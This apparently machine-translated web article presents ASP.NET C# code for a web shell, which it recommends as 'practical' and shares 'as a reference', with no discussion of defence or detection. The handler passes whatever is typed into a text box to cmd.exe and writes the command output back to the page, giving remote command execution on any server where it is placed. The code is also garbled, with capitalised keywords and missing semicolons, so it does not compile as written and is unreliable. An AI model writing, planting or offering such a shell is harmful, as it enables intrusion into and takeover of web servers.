What is the use of WebShell in ASP.Net
This article is to share with you about the usefulness of WebShell in ASP.Net. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.
The code is as follows:
Protected void exec (object sender, EventArgs e)
{
String item = cmd.Text
Process p = new Process ()
P.StartInfo.FileName = "cmd.exe"
P.StartInfo.UseShellExecute = false
P.StartInfo.RedirectStandardInput = true
P.StartInfo.RedirectStandardOutput = true
P.StartInfo.RedirectStandardError = true
P.StartInfo.CreateNoWindow = true
String strOutput = null
P.Start ()
P.StandardInput.WriteLine (item)
P.StandardInput.WriteLine ("exit")
StrOutput = p.StandardOutput.ReadToEnd ()
P.WaitForExit ()
P.Close ()
Response.Write ("")
Response.Write (strOutput)
Response.Write ("")
}
Protected void Page_Load (object sender, EventArgs e)
{
}